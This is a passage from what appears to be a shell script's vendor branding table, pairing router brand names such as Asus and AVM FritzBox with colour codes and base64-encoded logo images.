sMS4zLDAuMywxLjUsMC41di0wLjh6bTAsMS45Yy0wLjItMC41LTAuOC0wLjgtMS40LTAuOC0wLjcsMC0xLjQsMC4zLTEuNCwxLjEsMCwwLjcsMC43LDEuMSwxLjQsMS4xLDAuNiwwLDEuMi0wLjMsMS40LTAuOHYtMC42em0yLjctMy45aDF2MC44YzAuNC0wLjUsMS0wLjksMS44LTAuOSwxLjQsMCwyLjEsMC45LDIuMSwyLjJ2NGgtMXYtMy44YzAtMC44LTAuNC0xLjQtMS4zLTEuNC0wLjcsMC0xLjMsMC41LTEuNSwxLjF2NC4xaC0xdi02LjFoLTAuMXptNy4yLDguNCwwLjktMi4zLTIuNC02LjFoMS4xbDEuOCw0LjgsMS44LTQuOGgxLjFsLTMuMyw4LjRoLTF6Ii8+DQoJPHBhdGggZmlsbD0iI2Y1ODMxZiIgY2xhc3M9InN0MSIgZD0ibS01NDM2LjksMTY4Ny40LDAsMGMwLDgtNi40LDE0LjUtMTQuMiwxNC41cy0xNC4yLTYuNS0xNC4yLTE0LjV2LTEyLjNzNi44LDEuNyw2LjgsOC45djMuNGMwLDQuNCwzLjMsNy45LDcuNCw3LjlzNy40LTMuNSw3LjQtNy45di03LjEsMC4xYzAuMy02LDUuNC03LjksNi43LTguNmgwLjF2OC40LDcuMnptLTM2LjUtMTQuNGMxLjksMCwzLjcsMC4zLDUuMywxdjcuNmMtMS40LTEuMi0zLjMtMS45LTUuMy0xLjktNC41LDAtOC4xLDMuNS04LjEsNy45djE0LjNoLTYuOHYtMjYuMnMyLjgsMC4xLDQuNiwxLjRjMi42LTIuNiw2LjMtNC4xLDEwLjMtNC4xbS0zMi42LDIyLjRjLTQuNSwwLTguMi0zLjYtOC4yLThzMy43LTgsOC4yLTgsOC4yLDMuNiw4LjIsOC0zLjcsOC04LjIsOG0wLTIyLjRjLTguMiwwLTE0LjgsNi41LTE0LjgsMTQuNCwwLDgsNi42LDE0LjQsMTQuOCwxNC40LDMuNCwwLDYuNS0xLjEsOS0zLDEuNSwyLjUsNS44LDMsNS44LDN2LTE0LjRjMC03LjktNi42LTE0LjQtMTQuOC0xNC40bTExOC4zLDIyLjRjLTQuNSwwLTguMi0zLjYtOC4yLThzMy43LTgsOC4yLTgsOC4yLDMuNiw4LjIsOC0zLjcsOC04LjIsOG0wLTIyLjRjLTguMiwwLTE0LjgsNi41LTE0LjgsMTQuNCwwLDgsNi42LDE0LjQsMTQuOCwxNC40LDMuNCwwLDYuNS0xLjEsOS0zLDEuNSwyLjUsNS44LDMsNS44LDN2LTE0LjRjMC03LjktNi42LTE0LjQtMTQuOC0xNC40bS0zMS40LDIyLjRjLTQuNSwwLTguMi0zLjYtOC4yLThzMy43LTgsOC4yLTgsOC4yLDMuNiw4LjIsOGMwLjEsNC40LTMuNiw4LTguMiw4bTAtMjIuNGMtMywwLTUuOCwwLjktOC4yLDIuNHYtMi4zYy0wLjMtNi01LjItNy45LTYuNS04LjZoLTAuMXYzNy40czQuNC0wLjUsNi4xLTIuOWMyLjUsMS43LDUuNSwyLjgsOC43LDIuOCw4LjIsMCwxNC44LTYuNSwxNC44LTE0LjQsMC4xLTcuOS02LjYtMTQuNC0xNC44LTE0LjQiLz4NCjwvZz4NCjwvc3ZnPg0NCg==' ["Asus"]='#283437 #279FD9 #C0C0C0 data:image/png;base64,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' ["AVMFritzBox"]='#0066CC #D9D9D9 #222222 data:image/png;base64,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